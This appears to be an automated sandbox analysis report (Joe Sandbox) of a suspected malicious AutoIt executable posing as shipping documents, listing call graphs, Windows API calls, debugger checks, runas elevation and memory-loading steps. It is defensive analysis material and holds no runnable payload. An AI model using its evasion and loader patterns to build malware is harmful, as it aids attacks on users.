86057 3fe5830 VirtualFree 86055->86057 86061 3fe6530 GetPEB 86055->86061 86056->86055 86057->86055 86063 3fe64d0 GetPEB 86058->86063 86060 3fe36db 86060->86055 86062 3fe655a 86061->86062 86062->86048 86064 3fe64fa 86063->86064 86064->86060 86065 431914 86066 431920 86065->86066 86067 431928 86066->86067 86068 43193d 86066->86068 86152 45e62e 116 API calls 3 library calls 86067->86152 86153 47f2b4 174 API calls 86068->86153 86071 43194a 86078 4095b0 moneypunct 86071->86078 86154 45e62e 116 API calls 3 library calls 86071->86154 86073 409708 86075 4097af 86075->86073 86138 40d590 VariantClear 86075->86138 86077 4315b8 WaitForSingleObject 86077->86078 86080 4315d6 GetExitCodeProcess CloseHandle 86077->86080 86078->86073 86078->86075 86078->86077 86081 431623 Sleep 86078->86081 86087 40986e Sleep 86078->86087 86088 4098f1 TranslateMessage DispatchMessageW 86078->86088 86100 409894 86078->86100 86102 45e62e 116 API calls 86078->86102 86108 4092c0 VariantClear 86078->86108 86109 4319c9 VariantClear 86078->86109 86111 409030 86078->86111 86125 40d300 86078->86125 86130 40d320 86078->86130 86136 40b380 119 API calls moneypunct 86078->86136 86137 409a40 165 API calls 4 library calls 86078->86137 86139 409340 174 API calls moneypunct 86078->86139 86155 40e380 VariantClear moneypunct 86078->86155 86143 40d590 VariantClear 86080->86143 86084 43163b timeGetTime 86081->86084 86081->86100 86084->86100 86089 409880 timeGetTime 86087->86089 86087->86100 86088->86078 86089->86100 86090 431673 CloseHandle 86090->86100 86091 43170c GetExitCodeProcess CloseHandle 86091->86100 86092 40d590 VariantClear 86092->86100 86093 46dd22 133 API calls 86093->86100 86095 46e641 134 API calls 86095->86100 86097 431781 Sleep 86097->86078 86100->86078 86100->86090 86100->86091 86100->86092 86100->86093 86100->86095 86100->86097 86107 4092c0 VariantClear 86100->86107 86140 447e59 75 API calls 86100->86140 86141 453b07 77 API calls 86100->86141 86142 4646a2 76 API calls 86100->86142 86144 444233 88 API calls _wcslen 86100->86144 86145 457509 VariantClear 86100->86145 86146 404120 86100->86146 86150 4717e3 VariantClear 86100->86150 86151 436272 6 API calls 86100->86151 86102->86078 86107->86100 86108->86078 86109->86078 86156 409110 117 API calls 86111->86156 86113 42ceb6 86166 410ae0 VariantClear moneypunct 86113->86166 86115 42cebf 86116 40906e 86116->86113 86117 42cea9 86116->86117 86119 4090a4 86116->86119 86165 45e62e 116 API calls 3 library calls 86117->86165 86157 404160 86119->86157 86122 4090f0 moneypunct 86122->86078 86123 4092c0 VariantClear 86124 4090be moneypunct 86123->86124 86124->86122 86124->86123 86127 4292e3 86125->86127 86129 40d30c 86125->86129 86126 429323 86126->86078 86127->86126 86128 4292fd TranslateAcceleratorW 86127->86128 86128->86129 86129->86078 86131 4296d0 86130->86131 86134 40d32f 86130->86134 86131->86078 86132 42972a IsDialogMessageW 86133 40d33c 86132->86133 86132->86134 86133->86078 86134->86132 86134->86133 86297 4340ec GetClassLongW 86134->86297 86136->86078 86137->86078 86138->86073 86139->86078 86140->86100 86141->86100 86142->86100 86143->86100 86144->86100 86145->86100 86147 40412e 86146->86147 86148 4092c0 VariantClear 86147->86148 86149 404138 86148->86149 86149->86097 86150->86100 86151->86100 86152->86078 86153->86071 86154->86078 86155->86078 86156->86116 86158 4092c0 VariantClear 86157->86158 86159 40416e 86158->86159 86160 404120 VariantClear 86159->86160 86161 40419b 86160->86161 86167 4734b7 86161->86167 86209 40efe0 86161->86209 86162 4041c6 86162->86113 86162->86124 86165->86113 86166->86115 86168 453063 111 API calls 86167->86168 86169 4734d7 86168->86169 86170 473545 86169->86170 86171 47350c 86169->86171 86217 463c42 86170->86217 86173 4092c0 VariantClear 86171->86173 86178 473514 86173->86178 86174 473558 86175 47355c 86174->86175 86191 473595 86174->86191 86176 4092c0 VariantClear 86175->86176 86186 473564 86176->86186 86177 473616 86230 463d7e 86177->86230 86178->86162 86180 453063 111 API calls 86180->86191 86181 473622 86182 473697 86181->86182 86183 47362c 86181->86183 86262 457838 86182->86262 86187 4092c0 VariantClear 86183->86187 86186->86162 86189 473634 86187->86189 86189->86162 86190 473655 86193 4092c0 VariantClear 86190->86193 86191->86177 86191->86180 86191->86190 86274 462f5a 87 API calls __wcsicoll 86191->86274 86204 47365d 86193->86204 86195 4736b0 86275 45e62e 116 API calls 3 library calls 86195->86275 86196 4736c9 86276 40e7e0 76 API calls 86196->86276 86199 4736ba GetCurrentProcess TerminateProcess 86199->86196 86200 4736db 86206 4736ff 86200->86206 86277 40d030 76 API calls 86200->86277 86202 4736f1 86278 46b945 134 API calls 2 library calls 86202->86278 86204->86162 86208 473731 86206->86208 86279 40d030 76 API calls 86206->86279 86280 46b945 134 API calls 2 library calls 86206->86280 86208->86162 86210 40eff5 CreateFileW 86209->86210 86211 4299bf 86209->86211 86213 40f017 86210->86213 86212 4299c4 CreateFileW 86211->86212 86211->86213 86212->86213 86214 4299ea 86212->86214 86213->86162 86296 40e0d0 SetFilePointerEx SetFilePointerEx 86214->86296 86216 4299f5 86216->86213 86281 45335b 76 API calls 86217->86281 86219 463c5d 86282 442c52 80 API calls _wcslen 86219->86282 86221 463c72 86223 40c060 75 API calls 86221->86223 86228 463cac 86221->86228 86224 463c8e 86223->86224 86283 4608ce 75 API calls _memcpy_s 86224->86283 86226 463ca4 86227 40c740 75 API calls 86226->86227 86227->86228 86229 463cf7 86228->86229 86284 462f5a 87 API calls __wcsicoll 86228->86284 86229->86174 86231 453063 111 API calls 86230->86231 86232 463d99 86231->86232 86233 463de0 86232->86233 86234 463dca 86232->86234 86286 40c760 78 API calls 86233->86286 86285 453081 111 API calls 86234->86285 86237 463dd0 LoadLibraryW 86239 463e09 86237->86239 86238 463de7 86243 463e19 86238->86243 86287 40c760 78 API calls 86238->86287 86241 463e3e 86239->86241 86239->86243 86244 463e4e 86241->86244 86245 463e7b 86241->86245 86242 463dfb 86242->86243 86288 40c760 78 API calls 86242->86288 86243->86181 86289 40d500 75 API calls 86244->86289 86291 40c760 78 API calls 86245->86291 86249 463e82 GetProcAddress 86251 463e90 86249->86251 86250 463e57 86290 45efe7 77 API calls moneypunct 86250->86290 86251->86243 86254 463e79 86251->86254 86253 463e62 GetProcAddress 86253->86254 86254->86251 86292 403470 75 API calls _memcpy_s 86254->86292 86256 463eb4 86293 40d500 75 API calls 86256->86293 86258 463ebd 86294 45efe7 77 API calls moneypunct 86258->86294 86260 463ec8 GetProcAddress 86295 401330 moneypunct 86260->86295 86263 457a4c 86262->86263 86269 45785f _strcat moneypunct _wcslen _wcscpy 86262->86269 86270 410d40 86263->86270 86264 443576 78 API calls 86264->86269 86265 453081 111 API calls 86265->86269 86266 40c760 78 API calls 86266->86269 86267 4138ba 67 API calls _malloc 86267->86269 86268 40f580 77 API calls 86268->86269 86269->86263 86269->86264 86269->86265 86269->86266 86269->86267 86269->86268 86272 410d55 86270->86272 86271 410ded VirtualProtect 86273 410dbb 86271->86273 86272->86271 86272->86273 86273->86195 86273->86196 86274->86191 86275->86199 86276->86200 86277->86202 86278->86206 86279->86206 86280->86206 86281->86219 86282->86221 86283->86226 86284->86229 86285->86237 86286->86238 86287->86242 86288->86239 86289->86250 86290->86253 86291->86249 86292->86256 86293->86258 86294->86260 86295->86243 86296->86216 86297->86134 86298 42919b 86303 40ef10 86298->86303 86301 411421 __cinit 74 API calls 86302 4291aa 86301->86302 86304 41171a 75 API calls 86303->86304 86305 40ef17 86304->86305 86306 42ad48 86305->86306 86311 40ef40 74 API calls __cinit 86305->86311 86308 40ef2a 86312 40e470 86308->86312 86311->86308 86313 40c060 75 API calls 86312->86313 86314 40e483 GetVersionExW 86313->86314 86315 4021e0 75 API calls 86314->86315 86316 40e4bb 86315->86316 86338 40e600 86316->86338 86321 42accc 86324 42ad28 GetSystemInfo 86321->86324 86328 42ad38 GetSystemInfo 86324->86328 86325 40e557 GetCurrentProcess 86358 40ee30 LoadLibraryA GetProcAddress 86325->86358 86326 40e56c 86326->86328 86351 40eee0 86326->86351 86331 40e5c9 86355 40eea0 86331->86355 86334 40e5e0 86336 40e5f1 FreeLibrary 86334->86336 86337 40e5f4 86334->86337 86335 40e5dd FreeLibrary 86335->86334 86336->86337 86337->86301 86339 40e60b 86338->86339 86340 40c740 75 API calls 86339->86340 86341 40e4c2 86340->86341 86342 40e620 86341->86342 86343 40e62a 86342->86343 86344 42ac93 86343->86344 86345 40c740 75 API calls 86343->86345 86346 40e4ce 86345->86346 86346->86321 86347 40ee70 86346->86347 86348 40e551 86347->86348 86349 40ee76 LoadLibraryA 86347->86349 86348->86325 86348->86326 86349->86348 86350 40ee87 GetProcAddress 86349->86350 86350->86348 86352 40e5bf 86351->86352 86353 40eee6 LoadLibraryA 86351->86353 86352->86324 86352->86331 86353->86352 86354 40eef7 GetProcAddress 86353->86354 86354->86352 86359 40eec0 LoadLibraryA GetProcAddress 86355->86359 86357 40e5d3 GetNativeSystemInfo 86357->86334 86357->86335 86358->86326 86359->86357 86360 3fe5400 86361 3fe3050 GetPEB 86360->86361 86362 3fe54a3 86361->86362 86374 3fe52f0 86362->86374 86364 3fe54cc CreateFileW 86366 3fe5520 86364->86366 86367 3fe551b 86364->86367 86366->86367 86368 3fe5537 VirtualAlloc 86366->86368 86368->86367 86369 3fe5555 ReadFile 86368->86369 86369->86367 86370 3fe5570 86369->86370 86371 3fe42f0 13 API calls 86370->86371 86372 3fe55a3 86371->86372 86373 3fe55c6 ExitProcess 86372->86373 86373->86367 86375 3fe52f9 Sleep 86374->86375 86376 3fe5307 86375->86376

                                                                                                                                                                                                          Executed Functions

                                                                                                                                                                                                          Function 0040D6D0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 141windowCOMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetCurrentDirectoryW.KERNEL32(00000104,?,00000001,?,00000000), ref: 0040D6E5
                                                                                                                                                                                                            • Part of subcall function 00401F80: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,00000104,?,?,?,?,00000000), ref: 00401FAD
                                                                                                                                                                                                            • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 00402078
                                                                                                                                                                                                            • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 0040208E
                                                                                                                                                                                                            • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020A4
                                                                                                                                                                                                            • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020BA
                                                                                                                                                                                                            • Part of subcall function 00401F80: _wcscpy.LIBCMT ref: 004020EF
                                                                                                                                                                                                          • IsDebuggerPresent.KERNEL32(?), ref: 0040D6F1
                                                                                                                                                                                                          • GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\Export Shipment Documents 72335.exe,00000104,?,004A7CF8,004A7CFC), ref: 0040D763
                                                                                                                                                                                                            • Part of subcall function 00401440: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00401483
                                                                                                                                                                                                          • SetCurrentDirectoryW.KERNEL32(?,00000001,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,00000004), ref: 0040D7D6
                                                                                                                                                                                                          • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,004846D6,00000010), ref: 00431AAB
                                                                                                                                                                                                          • SetCurrentDirectoryW.KERNEL32(?,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,00000004), ref: 00431B0E
                                                                                                                                                                                                          • GetModuleFileNameW.KERNEL32(00000000,?,00000104,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,00000004), ref: 00431B3F
                                                                                                                                                                                                          • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00431B8B
                                                                                                                                                                                                          • ShellExecuteW.SHELL32(00000000), ref: 00431B92
                                                                                                                                                                                                            • Part of subcall function 004101F0: GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                                                                            • Part of subcall function 004101F0: LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                                                                            • Part of subcall function 004101F0: LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                                                                            • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                                                                            • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                                                                            • Part of subcall function 004101F0: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                                                                            • Part of subcall function 004101F0: RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                                                                            • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                                                                                                                            • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                                                                            • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                                                                            • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                                                                                                                            • Part of subcall function 0040E1E0: _memset.LIBCMT ref: 0040E202
                                                                                                                                                                                                            • Part of subcall function 0040E1E0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memset_wcscpy
                                                                                                                                                                                                          • String ID: @GH$@GH$C:\Users\user\Desktop\Export Shipment Documents 72335.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                                                                                                                                                                                                          • API String ID: 2493088469-3869244284
                                                                                                                                                                                                          • Opcode ID: 46ef362de9b3ca25341f5e487a7b891603662a7c26df16e66142cae839022532
                                                                                                                                                                                                          • Instruction ID: f6e0ab4c143dd9a1f797559286fb6c41f0380d60009eb7dc722615656bf0e84e
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 46ef362de9b3ca25341f5e487a7b891603662a7c26df16e66142cae839022532
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0341F731618341ABD320F7A19C49BAF3BA4AB96704F04493FF941672D1DBBC9949C72E
                                                                                                                                                                                                          Function 0040E470 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 165COMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                          control_flow_graph 351 40e470-40e500 call 40c060 GetVersionExW call 4021e0 call 40e600 call 40e620 360 40e506-40e509 351->360 361 42accc-42acd1 351->361 364 40e540-40e555 call 40ee70 360->364 365 40e50b-40e51c 360->365 362 42acd3-42acdb 361->362 363 42acdd-42ace0 361->363 366 42ad12-42ad20 362->366 367 42ace2-42aceb 363->367 368 42aced-42acf0 363->368 378 40e557-40e573 GetCurrentProcess call 40ee30 364->378 379 40e579-40e5a8 364->379 369 40e522-40e525 365->369 370 42ac9b-42aca7 365->370 377 42ad28-42ad2d GetSystemInfo 366->377 367->366 368->366 375 42acf2-42ad06 368->375 369->364 376 40e527-40e537 369->376 373 42acb2-42acba 370->373 374 42aca9-42acad 370->374 373->364 374->364 380 42ad08-42ad0c 375->380 381 42ad0e 375->381 382 42acbf-42acc7 376->382 383 40e53d 376->383 385 42ad38-42ad3d GetSystemInfo 377->385 378->379 392 40e575 378->392 379->385 386 40e5ae-40e5c3 call 40eee0 379->386 380->366 381->366 382->364 383->364 386->377 391 40e5c9-40e5db call 40eea0 GetNativeSystemInfo 386->391 395 40e5e0-40e5ef 391->395 396 40e5dd-40e5de FreeLibrary 391->396 392->379 397 40e5f1-40e5f2 FreeLibrary 395->397 398 40e5f4-40e5ff 395->398 396->395 397->398
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetVersionExW.KERNEL32 ref: 0040E495
                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(?,?), ref: 0040E560
                                                                                                                                                                                                          • GetNativeSystemInfo.KERNELBASE(?,?), ref: 0040E5D3
                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?), ref: 0040E5DE
                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?), ref: 0040E5F2
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_wcslen
                                                                                                                                                                                                          • String ID: pMH$Wu
                                                                                                                                                                                                          • API String ID: 2923339712-3104548426
                                                                                                                                                                                                          • Opcode ID: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                                                                                                                          • Instruction ID: 31d199e0849a18b4fe3a20375a839c17b1fda7a8e5a404adfed2e153d323e8b3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D4612E71508792AEC311CB69C44425ABFE07B6A308F580E6EE48483A42D379E568C7AB
                                                                                                                                                                                                          Function 0040EB70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EB55,0040D86E), ref: 0040EB7B
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EB8D
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                          • String ID: IsThemeActive$uxtheme.dll
                                                                                                                                                                                                          • API String ID: 2574300362-3542929980
                                                                                                                                                                                                          • Opcode ID: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                                                                          • Instruction ID: e8120cabfd18d8fe06d2f96d8b82b2b5a4bcadd10797c678d2963416b1e4c3b8
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 05D0C9B49407039AD7306F72C918B0A7BE4AB50342F204C3EF996A1694DBBCD0508B28
                                                                                                                                                                                                          Function 00410B90 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 167registryCOMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410C44
                                                                                                                                                                                                          • __wsplitpath.LIBCMT ref: 00410C61
                                                                                                                                                                                                            • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                                          • _wcsncat.LIBCMT ref: 00410C78
                                                                                                                                                                                                          • __wmakepath.LIBCMT ref: 00410C94
                                                                                                                                                                                                            • Part of subcall function 00413E3C: __wmakepath_s.LIBCMT ref: 00413E52
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 00410CCC
                                                                                                                                                                                                          • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 00410CE9
                                                                                                                                                                                                          • RegQueryValueExW.ADVAPI32 ref: 00429BE4
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 00429C43
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00429C55
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00429C66
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 00429C80
                                                                                                                                                                                                          • _wcsncpy.LIBCMT ref: 00429CC0
                                                                                                                                                                                                          • RegCloseKey.ADVAPI32(?), ref: 00429CDE
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcscat_wcslen$CloseException@8FileModuleNameOpenQueryThrowValue__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpystd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                          • String ID: Include$Software\AutoIt v3\AutoIt$\
                                                                                                                                                                                                          • API String ID: 1004883554-2276155026
                                                                                                                                                                                                          • Opcode ID: d7f6643cad26fd3001d91627fc5ef1af4f656d40d4c5ca14c02d7ab544e78cf5
                                                                                                                                                                                                          • Instruction ID: ef4714a7fd58501e566ba693257e1f196c1b97611c18bc9c35ab262cfa7686fb
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d7f6643cad26fd3001d91627fc5ef1af4f656d40d4c5ca14c02d7ab544e78cf5
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B961B3B1508340DFC300EF65EC8599BBBE8FB99704F44882EF544C3261EBB59948CB5A
                                                                                                                                                                                                          Function 004095C7 Relevance: 21.5, APIs: 14, Instructions: 539sleeptimeCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00409A40: _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                                                            • Part of subcall function 00409A40: CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                                                          • Sleep.KERNEL32(0000000A), ref: 00409870
                                                                                                                                                                                                          • timeGetTime.WINMM ref: 00409880
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: BuffCharSleepTimeUpper_wcslentime
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3219444185-0
                                                                                                                                                                                                          • Opcode ID: f47d61e1949a299f28a0b2df40c09b010e7dbf2d1d78ce1b8f000b1b08be72c4
                                                                                                                                                                                                          • Instruction ID: 79dfb759edd1749a95aa3438e3198289cebfc990e9c1b7da565b255c5aac8c6d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f47d61e1949a299f28a0b2df40c09b010e7dbf2d1d78ce1b8f000b1b08be72c4
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D422F171608342ABC724DF64C984BABB7A0BF89304F14492FE54997392D77CEC45CB9A
                                                                                                                                                                                                          Function 004523CE Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 145COMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __fread_nolock$_fseek_wcscpy
                                                                                                                                                                                                          • String ID: FILE
                                                                                                                                                                                                          • API String ID: 3888824918-3121273764
                                                                                                                                                                                                          • Opcode ID: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                                                                                                                                          • Instruction ID: c0f9aeb359a44d31a21a8716142a7f32772eb03c7b5129f1ec28ea3a2d041f76
